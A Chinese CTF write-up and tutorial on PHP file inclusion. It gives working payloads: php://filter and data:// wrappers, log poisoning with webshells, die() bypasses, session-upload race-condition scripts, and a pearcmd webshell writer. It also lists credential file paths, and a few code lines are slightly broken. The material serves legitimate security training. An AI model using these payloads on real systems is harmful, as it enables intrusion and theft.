以题为例浅谈文件包含

什么叫做文件包含

文件包含函数加载的参数没有经过过滤或严格定义,可以被用户控制,
包含其他恶意文件,导致了执行非预期代码。

文件包含漏洞(File Inclusion Vulnerability)是一种常见的网络安全漏洞,它允许攻击者通过恶意构造的输入,使得应用程序在包含文件的过程中,包含了不受信任的远程或本地文件,从而导致攻击者执行任意的代码或获取敏感信息。

文件包含漏洞利用了php语言的一个特性,即当php程序使用include()等函数包含其它文件时,如果文件内容包含php标签,该php程序就会自动将文件中含有php标签的部分当作php代码去解析,而忽略文件后是否为.php。假如管理员忽略了文件包含漏洞,黑客仍然可以利用任意文件包含漏洞获取WebShell

文件包含涉及的函数

include(),include_once(),require(),require_once();

include()

当使用该函数包含文件时,只有代码执行到 include() 函数时才将文件包含进来,
发生错误时只给出一个警告,继续向下执行。

include_once()

include_once() 功能和 include() 相同,区别在于当重复调用同一文件时,程序只调用一次

require() 

只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行

require_once()

require_once() 它的功能与 require() 相同,区别在于当重复调用同一文件时,程序只调用一次。

当使用这四个函数包含一个新文件时,该文件将作为 PHP 代码执行,
php 内核并不在意该被包含的文件是什么类型。
所以如果被包含的是 txt 文件、图片文件、远程 url、也都将作为 PHP 代码执行

只能进行一次文件包含,也就是它出现文件包含就不能用常规方法进行包含,需要使用别的方法

php源码分析 require_once 绕过不能重复包含文件的限制-安全客 - 安全资讯平台这位大佬的博客写的非常请楚,最后面也有例题;

当看见上面其中一个函数就可能是文件包含漏洞

文件包含分类

文件包含从大的方向分为:本地文件包含,远程文件包含

本地文件包含

本地文件包含漏洞产生的原因:

本地文件包含漏洞是由于开发人员对文件包含功能点的用户可控文件路径过滤不严格而造成的。黑客可以利用该漏洞读取服务器本地敏感文件和包含本地带有WebShell内容的文件,从而达到获取敏感数据甚至控制服务器的目的。

文件包含漏洞常见代码

<?php include<$_GET[file]);?>

本地文件所涉及的敏感信息

windows系统

c:\boot.ini                                   // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml      // IIS配置文件
c:\windows\repair\sam                         // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini                  // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD     // MySQL root密码
c:\windows\php.ini                            // php 配置信息

linux系统

/etc/passwd                                         // 账户信息
/etc/shadow                                         // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf              // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf  // 虚拟网站配置
/usr/local/app/php5/lib/php.ini                     // PHP相关配置
/etc/httpd/conf/httpd.conf                          // Apache配置文件
/etc/my.conf                                        // mysql 配置文件

日志包含漏洞

日志包含漏洞属于是本地文件包含,同样服务器没有很好的过滤,或者是服务器配置不当导致用户进入了内网,本来常规用户是访问不了这些文件的,但由于发起访问请求的人是服务器本身,也就导致用户任意文件读取。

apache服务器日志存放文件位置:/var/log/apache/access.log

nginx服务器日志存放位置:/var/log/nginx/access.log和/var/log/nginx/error.log

ssh日志的默认路径为/var/log/auth.log

apache日志文件存放着我们输入的url参数

我们可以通过在url参数中写入一句话木马,进行执行,从而将一句话木马写入到日志文件中,我们可以通过包含写入木马的日志文件,从而进行命令执行

 我们可以通过包含nginx'服务器的日志文件,然后在user-agent服务器中写入木马语句进行注入

注意一下日志包含需要发两次包,第一次是将木马写进去,第二次才是会执行你那个命令

后面有题会进行详细的介绍,呈上大佬的博客写了详细的日志包含漏洞:https://www.cnblogs.com/GTL-JU/p/16831597.html

远程文件包含

文件包含的各种伪协议

php://filter 读取文件源码
php://input 任意代码执行
data://text/plain 任意代码执行
zip:// 配合文件上传开启后门

php伪协议

?page=php://filter/convert.base64-encode/resource=index.php
php://input [post data] <?php phpinfo()?>
?url=php://input -- GET请求参数中使用php://input协议
<?php system('ls'); ?>			-- post请求体中的内容会被当做文件内容执行

data伪协议

?url=data://text/plain,<?php system('id') ?>

base64编码后的data伪协议

就是将后面的要执行的命令进行base64编码,如上面的就是将<?php system('id')?>,将它进行base64编码,结果为

?url=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpID8+

file://:伪协议

file协议就是用来读取本地文件的,和ssrf中file协议的用法差不多;

?file=file:///etc/passwd

这个就是用来读/etc/passwd/ 读取这个文件的

pher伪协议

?file=phar://压缩包/内部文件 
?file=phar://xxx.png/shell.php

zip伪协议

zip为协议与pher伪协议类似只是用法不同;

?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] 

举例

?file=zip://xxx.png#shell.php

关于文件包含的一些绕过

%00截断绕过

先看一段代码

<?php 
if(isset($_GET['page'])){       //判断通过GET方式有没有获取到这个文件;
  include$_GET['page'].".php";  //通过page传递这个文件的名字,不包括文件后缀名;如果传递一个test,代码拼接.php,如果当前目录下存在test.php,就包含test.php;
}else{
include'home.php';              //否则就包含home.php
}
?>

审计一下这段代码:他会检测你的GET传参,看看传参没有,传参之后他会把你传递的参数后面在加一个.php就是它要包含的文件名,它会在目录中找这个文件,如果找到了就进行包含,如果没有找到就去包含home.php,这里可以用%00截断;

在低版本中php读取文件会认为%00就是结束符号,对于%00之后的内容就会失效;

所以我们可以控制GET传参的内容,在最后加一个%00进行截断从而控制文件名

路径长度截断

原理

Windows目录最大长度256字节,超出的部分会被丢弃;
Linux目录最大长度4096字节,超出的部分会被丢弃。

也是同上面的一段代码,将目录长度增长后面的php自然就会被抛弃;

payload

?page=1.png/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

点号绕过

windows系统 点号 长于 256,超出的部分会被丢弃;
linux系统 点号 长于 4096,超出的部分会被丢弃;;

page=1.png.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

还有其它的绕过方法呈上大佬的博客:【文件包含漏洞】——文件包含漏洞进阶_文件包含漏洞绕过_文件包含攻击的中级高级是如何防护的实验中是如何绕过的-CSDN博客

题例

多说无益以题见真章

ctfshow web入门

web78

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 10:52:43
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 10:54:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
} 

这道题没有任何的过滤,任何协议都可以,我这里用php伪协议

?file=php://filter/convert.base64-encode/resource=flag.php

解出来之后在base64解码一下就得到flag了

web79

源码如下

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:10:14
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 11:12:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
} 

过滤了php上一道题的payload是不能用了

用data协议

?url=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

或者用Php://input伪协议大小写绕过

?file=Php://input

<?php
system("tac flag.php");
?>

web80

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 11:26:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
} 

又过滤了data,上到题的Php://input协议还能用,不过需要先查看一下目录,因为它flag的名字改了所以

payload

?file=Php://input

<?php
system("ls");//查看目录
?>
?file=Php://input

<?php
system("tac fl0g.php");
?>

第二种方法:日志包含

先找到日志进行访问

?file=/var/log/nginx/access.log

在User-Agent中写入木马:

<?php system('ls');?>

写入木马之后要放两次包,进行两次发送才可以进行命令执行,因为第一次发包是将木马给写进去了,第二次发包才用到了木马进行命令执行;

这是bp上的,第一次把里面的命令改为ls就行;

这就是日志包含的全过程;

web81

源码如下

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 15:51:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
} 

多过滤了:,那么这道题就用日志包含;

和上题一模一样,记住一定要发两次包

web87

先查看源码

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 21:57:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

    
}else{
    highlight_file(__FILE__);
} 

这里需要绕过die,die的效果和exit的效果是一模一样的,所以绕过die的姿势同样适用于绕过exit;

先看这道题,这道题过滤php,data,:,.

然后写一个文件但是用die结束了这段代码导致不能写入木马

先代码分析,主要传入两个参数,一个post一个get,过滤了php  data  :  .  
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
因为urldecode($file),所以我们在传入时要对file传入的东西进行二次编码
因为有die(与exit意思一样),导致即使我们成功写入一句话,也执行不了(这个过程在实战中十分常见,通常出现在缓存、配置文件等等地方,不允许用户直接访问的文件,都会被加上if(!defined(xxx))exit;之类的限制),所以我们要绕过他
这个<?php exit; ?>实际上是一个XML标签,既然是XML标签,我们就可以利用strip_tags函数去除它,而php://filter刚好是支持这个方法的。
$file是我们我们可控的协议流,我们使用base64编码,在解码时去掉退出代码中不支持的字符,变为phpdie,在后面加上aa使得能正常解码phpdieaa(base64编码解码特性,4字节一组)

参考博客:https://www.cnblogs.com/sen-y/p/15579072.html#_label0_4

所以这道题payload

?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
 //这是对php://filter/write=convert.base64-decode/resource=1.php进行了2次url编码 
post:
content=aaPD9waHAgc3lzdGVtKCd0YWMgZioucGhwJyk7Pz4=
    //PD9waHAgc3lzdGVtKCd0YWMgZioucGhwJyk7Pz4=为<?php system('tac f*.php');?>的base64编码

web88

先看源代码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-17 02:27:25
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

 */
if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
} 

data协议可以用

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTsgPz4

PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTsgPz4=  
<?php system('tac fl0g.php'); ?>

web116

打开环境,会自动下载一张照片,然后放到kali中binwalk可以分离其中的源码照片

过滤了很多但可以直接构造payload

?file=flag.php
或?file=compress.zlib:///var/www/html/flag.php

下载音频得到flag,或者直接抓包发送得到flag

web117

先看源代码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: yu22x
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-01 18:16:59

*/
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents); 

审计代码看到最后的一段代码,又是die死亡绕过

但不同的是它把base64和rot13过滤了,所以需要去使用别的容器,

convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用
iconv ( string $in_charset , string $out_charset , string $str ):将字符串 $str 从in_charset编码转换到 $out_charset
这里引入usc-2的概念,作用是对目标字符串每两位进行一反转,值得注意的是,因为是两位所以字符串需要保持在偶数位上

没有过滤php所以可以直接用

payload

?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php 
post:contents=?<hp pvela$(P_SO[T]1;)>

可以得到flag,一定要注意这个容器所要使用的条件;

web82-86

这些题目需要在晚上11点后开启环境,这里可以用通杀脚本,也可以用bp进行条件竞争,bp现在不行,之后有条件了我会在补充,现在补充一下通杀脚本

import io
import requests
import threading

sessid = 'flag'
url = 'http://873190e1-396b-43bb-b91e-24c0e7eaeec3.challenge.ctf.show:8080/'

def write(session):a
    while event.isSet():
        f = io.BytesIO(b'a'*1024*50)
        response = session.post(
            url,
            cookies = {'PHPSESSID':sessid},
            data = {'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("cat *.php")?>'},
            files = {'file':('texe.txt',f)}
        )

def read(session):
    while event.isSet():
        response = session.get(url+'?file=/tmp/sess_{}'.format(sessid))
        if 'text' in response.text:
            print(response.text)
            event.clear()
        else:
            print('[*]wait.....')

if __name__ == '__main__':
    event = threading.Event()
    event.set()
    with requests.session() as session:
        for i in range(1,30):
            threading.Thread(target=write,args=(session,)).start()
        for i in range(1,30):
            threading.Thread(target=read,args=(session,)).start()

event.set()#将event的标志设置为True,调用wait方法的所有线程将被唤醒;
event.clear()#将event的标志设置为False,调用wait方法的所有线程将被阻塞;
event.isSet()#判断event的标志是否为True。

 一些文件包含的进阶知识

在2023年金盾杯中遇到了这样一道题目,文件包含也是其中的一部分

在这里面中require_once在文件包含中包含一次之后就不能在包含了,这里普通的文件包含肯定是绕不过去的,这里的payload

?win=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/usr/share/nginx/html/hint.php

为什么这样绕过,呈上大佬的博客写的非常清楚:php源码分析 require_once 绕过不能重复包含文件的限制-安全客 - 安全资讯平台

例题:

[WMCTF2020]Make PHP Great Again(BUUCTF)

先看源代码

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
  require_once $_GET['file'];
}

非常明显已经被require_once包含过一次了,所以在需要上面的方式进行绕过

payload

?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

一定要注意最后的目录,如果有提示的目录按照提示的目录来如果没有提示的目录,但提示了flag.php,这个文件一般都在/var/www/html这个目录下,这道题得到base64解码一下就是flag了

ctfshow 元旦水友赛 web easy_include

在这道题又学到了新的知识

先看源码

 <?php

function waf($path){
    $path = str_replace(".","",$path);
    return preg_match("/^[a-z]+/",$path);
}

if(waf($_POST[1])){
    include "file://".$_POST[1];
}


这道题必须要求是字母,并且没有点,正常的协议肯定是用不成了,日志包含也需要点肯定也用不成了,想到了web入门82那种类型的题用脚本进行通杀,也就是session文件包含,呈上大佬的脚本

import requests
import threading

session = requests.session()
sess = 'yu22x'
url1 = "http://7b4f2934-75bb-4b9a-bf2f-4e1d2560b1a8.challenge.ctf.show/"
data1 = {
    'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[2]);?>'
}
data2 = {
    '2': 'system("cat /f*");',
    '1': 'localhost/tmp/sess_' + sess
}
file = {
    'file': 'abc'
}
cookies = {
    'PHPSESSID': sess
}

stop_threads = False  # Flag to stop the threads

def write():
    while not stop_threads:
        r = session.post(url1, data=data1, files=file, cookies=cookies)

def read():
    global stop_threads  # Access the flag variable
    while not stop_threads:
        r = session.post(url1, data=data2)
        if 'ctfshow{' in r.text:
            print(r.text)
            stop_threads = True  # Set the flag to stop the threads

threads = [
    threading.Thread(target=write),
    threading.Thread(target=read)
]

for t in threads:
    t.start()

for t in threads:
    t.join()  # Wait for the threads to finish

还有一种方法就是 pearcmd.php文件包含,呈上payload

GET: /?+config-create+/&/<?=@eval($_POST['cmd']);?>+/var/www/html/shell.php
POST: 1=localhost/usr/local/lib/php/pearcmd.php

访问shell.php,然后去执行命令 ,

想理解的更深一点就是:利用pearcmd.php本地文件包含(LFI)-CSDN博客

这是pearcmd.php原payload

/?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/shell.php

文件包含暂时会告一段落,如果有条件我会将条件竞争那几道题进行补充,以后比赛或刷题遇见了相关题型也会进行补充;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/471428.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

springboot283图书商城管理系统

图书商城管理系统 摘 要 现代经济快节奏发展以及不断完善升级的信息化技术&#xff0c;让传统数据信息的管理升级为软件存储&#xff0c;归纳&#xff0c;集中处理数据信息的管理方式。本图书商城管理系统就是在这样的大环境下诞生&#xff0c;其可以帮助管理者在短时间内处理…

设计模式 模板方法模式

01.如果接到一个任务&#xff0c;要求设计不同型号的悍马车 02.设计一个悍马车的抽象类&#xff08;模具&#xff0c;车模&#xff09; public abstract class HummerModel {/** 首先&#xff0c;这个模型要能够被发动起来&#xff0c;别管是手摇发动&#xff0c;还是电力发动…

软件杯 深度学习 YOLO 实现车牌识别算法

文章目录 0 前言1 课题介绍2 算法简介2.1网络架构 3 数据准备4 模型训练5 实现效果5.1 图片识别效果5.2视频识别效果 6 部分关键代码7 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; 基于yolov5的深度学习车牌识别系统实现 该项目较…

YOLOv9改进策略:下采样涨点系列 | 一种新颖的基于 Haar 小波的下采样HWD,有效涨点系列

&#x1f4a1;&#x1f4a1;&#x1f4a1;本文独家改进&#xff1a;HWD的核心思想是应用Haar小波变换来降低特征图的空间分辨率&#xff0c;同时保留尽可能多的信息&#xff0c;与传统的下采样方法相比&#xff0c;有效降低信息不确定性。 &#x1f4a1;&#x1f4a1;&#x1…

如何进行PLCH1U-XP系列汇川PLC在线修改程序?

在工业自动化的世界里&#xff0c;可编程逻辑控制器&#xff08;PLC&#xff09;是生产线自动化的心脏。汇川PLCH1U-XP系列以其卓越的性能和广泛的应用场景&#xff0c;赢得了众多企业的青睐。然而&#xff0c;随着生产需求的不断变化&#xff0c;PLC程序也需要相应地调整。传统…

【Linux】基础 IO(动静态库)-- 详解

一、前言 为什么要使用别人的代码&#xff1f; 主要是为了提高程序开发的效率和程序的健壮性。 当别人把功能都实现了&#xff0c;然后我们再基于别人的代码去做二次开发&#xff0c;那么效率当然就提高了。其次&#xff0c;这里基于的别人当然不是随便找的一个人&#xff0c;…

matplotlib绘制统计特征图和分布特征图

文章目录 一、统计特征图绘制1.需求2.代码方法一方法二总结 二、分布特征图绘制1.需求2.代码 一、统计特征图绘制 1.需求 我现在有两个数据集Pdata和Cdata分别在DataFrame对象中&#xff0c;我现在想对这两个数据集进行统计特征分析&#xff0c;并用直方图展示出来。 2.代码…

在线预订酒店房源小程序源码系统平台版 带完整的安装代码包以及搭建教程

近年来&#xff0c;互联网技术的飞速发展推动了各行各业的数字化转型。酒店行业也不例外&#xff0c;传统的酒店预订方式已经无法满足现代旅客的需求。旅客期望能够随时随地通过手机或电脑进行酒店预订&#xff0c;并享受到个性化的服务体验。因此&#xff0c;开发一款功能齐全…

107 在携带请求体的情况下, hutool 将 get 请求转换为了 post 请求

前言 本问题主要是来自于同事 情况大致如下, 同样的代码 一个是测试用例, 一个是生产环境的应用, 访问同一个第三方服务, 参数什么的完全一致 但是 出现的问题就是 测试用例能够拿到正确的对方的响应, 但是 生产环境的应用 却是拿到的对方的报错 然后 我开始以为是 是否…

【进阶五】Python实现SDVRP(需求拆分)常见求解算法——离散粒子群算法(DPSO)

基于python语言&#xff0c;采用经典离散粒子群算法&#xff08;DPSO&#xff09;对 需求拆分车辆路径规划问题&#xff08;SDVRP&#xff09; 进行求解。 目录 往期优质资源1. 适用场景2. 代码调整3. 求解结果4. 代码片段参考 往期优质资源 经过一年多的创作&#xff0c;目前已…

邮箱与Email有何异同?如何正确使用它们?

邮箱与Email之间有何联系&#xff1f;如何正确区分邮箱和Email&#xff1f; 电子邮箱已成为我们日常生活和工作中不可或缺的一部分。而提到电子邮箱&#xff0c;很多人会自然而然地联想到“邮箱”这个词。那么&#xff0c;邮箱与Email之间究竟有哪些异同呢&#xff1f;让AokSe…

【LeetCode每日一题】2312. 卖木头块(DFS记忆化搜索+动态规划)

文章目录 [2312. 卖木头块](https://leetcode.cn/problems/selling-pieces-of-wood/)思路1:用DFS进行记忆化搜索代码&#xff1a;思路2:动态规划代码&#xff1a; 2312. 卖木头块 思路1:用DFS进行记忆化搜索 1.要用DFS深度优先遍历每一种情况。在递归的同时&#xff0c;不断更…

React状态管理Mobx

1 https://zh.mobx.js.org/README.html 2 https://juejin.cn/post/7046710251382374413 3 https://cn.mobx.js.org/refguide/observable.html ​​mobx入门基础教程-慕课网​​ ​​Mobx学习 - 掘金​​ 十分钟入门 MobX & React ​​十分钟入门 MobX & React​​…

[BSidesCF 2019]Pick Tac Toe

[BSidesCF 2019]Pick Tac Toe 首先进行常规的信息收集&#xff0c;尝试几次下三子棋后查看源码发现 此时只需要更改id为r的&#xff0c;将他改为X&#xff0c;我们就胜利了抓包发现&#xff0c;数据通过post提交参数为move&#xff0c;顺便再下一子&#xff0c;抓包更改为move…

迈向容错新时代!PASQAL发布最新技术路线图

内容来源&#xff1a;量子前哨&#xff08;ID&#xff1a;Qforepost&#xff09; 编辑丨慕一 编译/排版丨沛贤 深度好文&#xff1a;1200字丨8分钟阅读 近日&#xff0c;法国中性原子量子计算公司PASQAL发布了最新技术路线图&#xff0c;概述了其在硬件、业务场景用例及进一…

迁移学习的技术突破与应用前景

目录 前言1 迁移学习技术1.1 原理与分类1.2 主要挑战 2 迁移学习应用2.1 计算机视觉2.2 医疗健康 3 未来展望3.1 推动各领域发展3.2 提高模型泛化能力和效果3.3 在新兴领域中广泛应用 结语 前言 迁移学习作为机器学习领域的重要技术之一&#xff0c;以其能够将从一个任务中学到…

为什么延迟删除可以保证MYSQL 与redis的一致性?

看过很多保持MYSQL 与redis保持一致性的文章都提到了延迟删除&#xff0c;其实脱离任何业务场景的设计都是不切实际的&#xff0c;所以我会本着一个通用的读写场景去分析为什么延迟删除大概率可以保证MYSQL与redis的最终一致。 通常的读写场景 通常在使用redis作为读写缓存时…

蓝桥杯-02-2023蓝桥杯c/c++省赛B组题目

参考 2023 年第十四届蓝桥杯 C/C B组省赛题解 2023蓝桥杯c/c省赛B组题目(最全版)&#xff1a; A&#xff1a;日期统计 这题方法应该很多&#xff0c;没有和别人讨论想法。我的解法思路是&#xff1a;先 load 函数生成所有这一年的合法日期&#xff0c;然后枚举所有可以从数据…

嵌套循环实现九九乘法表

大家好&#xff1a; 衷心希望各位点赞。 您的问题请留在评论区&#xff0c;我会及时回答。 案例描述 利用嵌套循环&#xff0c;实现九九乘法表。 代码 #include <iostream> #include <Windows.h>using namespace std;int main(void) {//外层循环执行一次&#…

《计算机考研精炼1000题》为你考研之路保驾护航

创作背景 在这个充满挑战与竞争的时代&#xff0c;每一位考生在备战研究生考试的过程中&#xff0c;都希望通过更多符合考纲要求的练习题来提高自己的知识和技能。为了满足这一需求&#xff0c;我们精心策划和编辑了这本《计算机考研精炼1000题》。在考研政治和考研数学领域&a…